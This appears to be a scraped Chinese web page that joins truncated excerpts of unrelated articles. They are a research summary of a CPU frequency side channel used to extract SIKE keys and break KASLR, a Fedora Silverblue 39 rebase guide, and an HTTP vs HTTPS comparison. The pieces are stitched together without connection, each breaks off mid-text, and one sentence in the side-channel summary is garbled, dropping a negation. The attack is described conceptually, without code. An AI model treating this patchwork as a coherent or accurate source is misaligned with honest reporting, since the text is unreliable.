简介功耗分析攻击几十年来一直被认为是侧信道信息泄露的一个主要源头。在历史上，这些攻击被用来从嵌入式设备（如智能卡）中使用物理探针泄露密码密钥。最近，功耗分析攻击也被证明可以通过软件功耗测量接口来利用。这些接口在许多现代通用处理器上都可用，已被滥用于网站指纹识别、恢复RSA密钥、破解KASLR，甚至恢复AES-NI密钥。幸运的是，基于软件的功耗分析攻击可以通过阻止（或限制）对功耗测量接口的访问来减轻并且容易检测。直到今天，这样的缓解策略将有效地减少攻击面至仅限于物理功耗分析，这在现代通用x86处理器的环境中是一个明显较小的威胁。DVFS是一种常用的技术，它包括动态调整CPU频率以降低功耗（在低CPU负载时）以及确保系统在功耗和热量极限下保持稳定（高CPU负载）。在某些情况下，DVFS引起的CPU频率调整取决于毫秒级的当前功耗。因此，由于功耗与数据相关，CPU频率调整也是与数据相关的。此外，数据相关的频率调整可以被远程攻击者观察，而无需任何特殊权限。原因是CPU频率差异直接转化为执行时间差异（因为1赫兹=1秒内的1个周期）。这一发现的安全影响是重大的。它从根本上破坏了恒定时间编程，自1996年以来一直是抵抗时序攻击的基础防御措施。恒定时间编程的前提是通过编写一个只使用“safe”指令的程序，其延迟与数据值无关，程序的执行时间将是与数据无关。然而若是通过频率信道，即使仅使用安全指令，时序也会成为数据的函数。 尽管其理论上具有很大的威力，但如何构建实际的频率侧信道攻击并容易。这是因为DVFS更新取决于数百万CPU周期内的总功耗，只反映了粗粒度的程序行为。本研究展示了频率侧信道对加密软件安全构成了真正的威胁，通过：（i）在现代x86英特尔CPU上逆向工程的精确泄露模型，（ii）展示一些加密原语能够将单个密钥位的猜测放大成数千次高功耗或低功耗操作，足以引发可测量的时序差异。为了构建泄露模型，对现代x86英特尔CPU上正在计算的数据与功耗/频率之间的依赖关系进行了逆向工程。研究结果显示，功耗和CPU频率取决于数据的汉明权重（HW, Hamming weight）以及跨计算的数据的汉明距离（HD, Hamming distance），这两种影响在现代英特尔CPU上是不同且可累加的。此外，HW效应是非均匀的。也就是说，处理具有相同HW的数据会导致功耗/频率因数据值内个别1的位置而不同。因此，根据秘密进行不同位模式数据的计算可以导致功耗和频率取决于该秘密。然后，本文描述了一种新的攻击，包括新的密码分析技术，针对恒定时间实现的SIKE（Supersingular Isogeny Key Encapsulation）。SIKE已经有十年的历史，被广泛研究的密钥封装机制。与NIST的后量子密码竞赛中的其他入围者不同，SIKE具有较短的密文和较短的公钥。当攻击者提供一个经过特别制作的输入时，SIKE的解密算法会产生依赖密钥的单个位的异常值。这些值会导致算法卡住，并在剩下的解密过程中操作中间值，这些值在剩余的解密中也都是0。当这种情况发生时，处理器的功耗较低，运行频率较高，因此解密所需的绝对时间较短。这种时序信号非常稳定，以至于可以在网络中进行密钥提取，最后，还展示了频率侧信道也可以用来进行无需计时器的时序攻击，例如KASLR破解和隐蔽信道。0x02 研究背景Intel P-States：在英特尔处理器中，动态电压和频率调整（DVFS）以P-states的粒度工作。P-states对应于不同的操作点（电压-频率对），以100 MHz频率递增。不同CPU型号的P-states数量各不相同。现代英特尔处理器提供两种控制P-states的机制，即SpeedStep和Speed Shift / Hardware Controlled Performance States (HWP)。使用SpeedStep，P-states由操作系统（OS）使用硬件协调反馈寄存器进行管理。使用HWP时，P-states完全由处理器进行管理，提高了整体响应性。HWP是在Skylake微架构中引入的。启用HWP时，操作系统只能向处理器的内部P-state选择逻辑提供提示，包括限制可用P-states的范围。否则，可用的P-states范围仅取决于活动内核的数量以及是否启用了“Turbo Boost”。本文的P-state命名约定遵循Linux中使用的约定。最低的P-state对应于支持的最低CPU频率。最高的P-state对应于处理器的“最大睿频”频率。然而，当禁用Turbo Boost时，最高可用的P-state是基本频率，将P-state和频率视为可以互换使用的术语。P-state管理也与功耗管理相关。每个英特尔处理器都有一个热设计功耗（TDP），表示在持续工作负载下的稳定状态下的预期功耗。在最大睿频模式下，处理器可以超过其名义TDP。然而，如果CPU在最大睿频模式下达到一定的功耗和热量极限，硬件将自动减小频率以保持TDP在工作负载的持续时间内。数据相关功耗：众所周知，处理器的功耗取决于正在处理的数据。数据和功耗之间的精确依赖关系取决于处理器的实现，但可以使用泄露模型进行近似。两种常用的泄露模型是汉明距离（HD）和汉明权重（HW）模型。在HD模型中，功耗取决于计算过程中数据中发生的1 → 0和0 → 1位转换的数量。在HW模型中，功耗仅取决于正在处理的数据中位为1的位数。功耗侧信道攻击：功耗侧信道攻击针对加密系统首次在1998年公开讨论，引入了分析技术，利用功耗与数据依赖性来揭示秘密密钥。随后的工作展示了针对多个加密算法的功耗分析攻击，包括AES、DES、RSA和ElGamal。然而，所有这些攻击都针对智能卡，需要物理接触设备。最近，功耗侧信道攻击也被应用于更复杂的设备，如智能手机和PC。其中一些攻击仅依赖于软件功耗测量接口，这意味着它们不需要接近设备。然而，尽管其中一些工作使用了HW和HD泄露模型，但其中没有一个对现代英特尔x86 CPU上功耗和数据之间的依赖关系进行了系统逆向工程。此外，所有这些攻击都可以通过限制对这类功耗测量接口的访问来阻止。0x03 CPU频率泄露信道实验设置：在多台不同的计算机上运行实验。每台计算机的CPU特性都在下表中。所有计算机都运行Ubuntu，版本为18.04或20.04，内核为4.15或5.4，并安装了最新的微码补丁。除非另有说明，使用默认的系统配置，不限制P-states。为了监视CPU频率，使用了MSR_IA32_MPERF和MSR_IA32_APERF寄存器，就像Linux内核中所做的那样。为了监视功耗，使用RAPL接口的MSR。A. 指令区分作为分析的第一步，需要着手了解运行不同工作负载如何影响CPU的P-state选择逻辑。从stress-ng基准测试套件中选择了两个工作负载。第一个工作负载包括32位整数和浮点运算（int32float方法），而第二个工作负载仅包括32位整数运算（int32方法）。在所有内核上运行这两个基准测试，从空闲状态开始。在基准测试的执行过程中，每5毫秒采样一次CPU频率和（包域）功耗。上图a显示了在i7-9700 CPU上进行int32float测试的结果。频率开始时为4.5 GHz，在CPU上，当所有内核都处于活动状态时，这是最高的P-state。在大约8秒的时间内，允许功耗超过TDP。然后，CPU降至较低的P-state，将功耗降至TDP（在CPU上为65W）。从那时开始，CPU保持在稳态，并在工作负载的持续时间内保持功率在TDP水平左右。示例中在稳态下，频率在两个P-states之间波动，分别对应3.9 GHz和4.0 GHz的频率。上图b显示了int32压力测试的结果。这里，频率也从4.5 GHz开始，然后降至较低的P-state。但与图a相比，降低发生在10秒后，且降低后使用的P-states更高，分别对应4.0 GHz和4.1 GHz。这是因为int32测试的功耗较低。因此，处理器不仅可以更长时间地维持最高可用的P-state，而且可以在稳态下使用更高的P-states，而不会超过TDP。以上结果的关键要点是：（i）处理器可以在最大可用P-state上花费的时间，（ii）稳态下P-states的分布都取决于CPU功耗。由于CPU功耗取决于工作负载，根据传递属性，可以得出P-states也取决于工作负载。这意味着P-states的动态调整会泄露有关处理器上当前运行的工作负载的信息。B. 数据区分已经看到P-state信息泄露了有关正在执行的指令（即工作负载）的信息。现在探讨频率泄露信道是否可以泄露有关指令正在处理的数据的信息。问题是由于已知x86处理器上的功耗与数据相关，数据相关的功耗差异是否会在P-states的分布中显示出来？为了回答这个问题，在执行相同的指令时，只改变输入寄存器的内容，同时监视CPU频率。例如使用shlx指令不断将源寄存器的位向左移动，并将结果写入循环中的不同目标寄存器，只变化源寄存器的内容。在所有内核上运行这个实验，并比较稳态下P-states的分布。下图a显示了将源寄存器的内容设置为16、32或48个1时的结果。在所有情况下，P-state在4.3 GHz和4.4 GHz之间波动。然而，汉明权重越大，频率停留在较低的P-state上的时间越长。从空闲状态开始，频率降至稳态的时间也会随着汉明权重的增加而减少（参见下图b）。汉明权重越大，频率降至稳态的速度越快。这是因为，处理具有较大汉明权重的数据消耗的功率比处理具有较低汉明权重的数据要多。也使用其他指令获得类似的结果。例如，当运行or、xor、and、imul、add、sub以及处理从内存加载的数据时，观察到了数据相关的影响。唯一需要注意的是，对于某些指令，仅在所有内核上运行目标指令的功耗不足以导致P-state降至稳态。这些情况下在后台运行了额外的固定工作负载，以增加总功耗。以上结果的关键是，P-states的动态调整会泄 ...

Fedora Silverblue是 一款基于 Fedora Linux 构建的面向桌面的操作系统。 这款操作系统非常适合日常使用、开发和容器化的工作流程。 它有许多优势，例如可以在发生问题时轻松回滚操作。 如果你想在 Fedora Silverblue 系统上更新或将系统 重定位rebase 到 Fedora Linux 39，本文会提供帮助。 文章不仅会指导你执行操作，还会教你如何在遇到意外情况时撤销操作。 更新你目前的系统 在实际重定位至 Fedora Linux 39 前，你需要先安装所有待处理的更新。 你可以在终端中使用下面的命令： $ rpm-ostree update 或者你也可以通过 GNOME “软件”应用安装更新，然后重新启动系统。 使用 GNOME “软件” 重定位 在 GNOME “软件”应用的更新页面上，你可以看到 Fedora Linux 的新版本已经可以使用。 首先，你需要点击 “下载Download” 按钮来下载新的操作系统镜像。这个过程可能需要一些时间。完成后，你会发现更新已经准备好进行安装。 接下来，点击 “重新启动 & 升级Restart & Upgrade” 按钮。这个过程只需要几分钟，一旦更新完成，计算机将会重新启动。重启后，你会看到崭新的 Fedora Linux 39 的系统环境，看起来很简单，是吧？ 使用终端进行重定位 如果你更喜欢在终端操作，那么这部分指南就是为你准备的。 首先你需要确认 39 版本是否已经可以使用： $ ostree remote refs fedora 在命令输出中你应该看到如下内容： fedora:fedora/39/x86_64/silverblue 如果你想保留当前的部署（这意味着这个部署将会持续在 GRUB 中显示为一个选项，直到你手动移除它），你可以通过运行下面的命令实现： # 0 是在 rpm-ostree 状态中的条目位置 $ sudo ostree admin pin 0 如果你想移除已经固定的部署，你可以使用下面的命令： # 2 是在 rpm-ostree 状态中的条目位置 $ sudo ostree admin pin --unpin 2 然后，将你的系统重定位至 Fedora Linux 39 镜像。 $ rpm-ostree rebase fedora:fedora/39/x86_64/silverblue 最后，重启你的电脑，启动进入 Fedora Linux 39 版本。 如何进行回滚 如果遇到任何问题（例如，如果你无法启动 Fedora Linux 39），回滚是非常容易的。 在系统启动时，在 GRUB 菜单中选择 Fedora Linux 39 之前的版本，然后你的系统就会启动这个更早的版本而非 Fedora Linux 39。 如果你在启动过程中看不到 GRUB 菜单，那么在启动时尝试按下 ESC键。 如果你想让更早版本的选择永久生效，你可以使用下面的命令： $ rpm-ostree rollback 现在，你已经了解如何将 Fedora Silverblue 系统重定位到 Fedora Linux 39，以及如何进行系统回滚了。那么何不今天就试试看呢？ 常见问题解答 在每篇关于重定位 Silverblue 到新版本的文章的评论中，总会有相似的问题，因此我会在这个部分尝试解答这些问题。 问题：在 Fedora 的重定位过程中我能跳过某些版本吗？例如直接从 Fedora 37 Silverblue 更新到 Fedora 39 Silverblue。 答案：虽然有时可能可以在重定位过程中跳过某些版本，但并不推荐这样操作。你应当始终更新到紧邻的新版本（例如从 38 更新到 39），以避免不必要的错误。 问题：我安装了 rpm-fusion，在重定位过程中出现错误，我应当怎样进行重定位？ 答案：如果你在 Silverblue 安装上加入了 rpm-fusion，你在重定位前应当执行以下操作： rpm-ostree update \ --uninstall rpmfusion-free-release \ --uninstall rpmfusion-nonfree-release \ --install rpmfusion-free-release \ --install rpmfusion-nonfree-release 执行完上述操作后，你可以按照本篇博文的步骤完成重定位过程。 问题：这个指南是否适用于其他的 ostree 版本（例如 Kinoite， Sericea）？ 答案：是的，你可以照着本指南的 使用终端进行重定位部分的操作来完成所有的 Fedora ostree 版本的重定位过程。只需要使用对应的分支即可。例如对于 Kinoite，你可以使用 fedora:fedora/39/x86_64/kinoite 而非 fedora:fedora/39/x86_64/silverblue </div> ...

点击围观  ...

HTTPS是HTTP的安全版本，两者都用于在客户端和服务器之间传输数据，但HTTPS添加了加密和安全性层，以保护数据的机密性和完整性。 区别： 安全性： HTTP：HTTP是一种不安全的协议，数据在传输过程中以明文形式传输，容易受到窃听和篡改的风险。 HTTPS：HTTPS通过使用加密机制（通常是TLS/SSL）来保护数据的机密性，使数据在传输过程中加密，从而提供更高的安全性。 端口： HTTP：HTTP默认使用端口80进行通信。 HTTPS：HTTPS默认使用端口443进行通信。 加密： HTTP：HTTP不提供加密，数据可以在网络上传输时被窃听。 HTTPS：HTTPS使用TLS/SSL协议进行数据加密和解密，确保数据在传输过程中的保密性。 证书： HTTP：HTTP不涉及数字证书的使用。 HTTPS：HTTPS需要服务器获得数字证书，并由权威的证书颁发机构（CA）签发，以验证服务器的身份。客户端可以使用证书来确保它们正在连接到合法的服务器。 认证和身份验证： HTTP：HTTP不提供身份验证机制，任何人都可以发送HTTP请求。 HTTPS：HTTPS提供了对服务器和（可选）客户端的身份验证，确保双方的合法性。 SEO（搜索引擎优化）： HTTP：搜索引擎可能更喜欢使用HTTPS的网站，因为它们提供了更高的安全性，可以影响搜索排名。 ...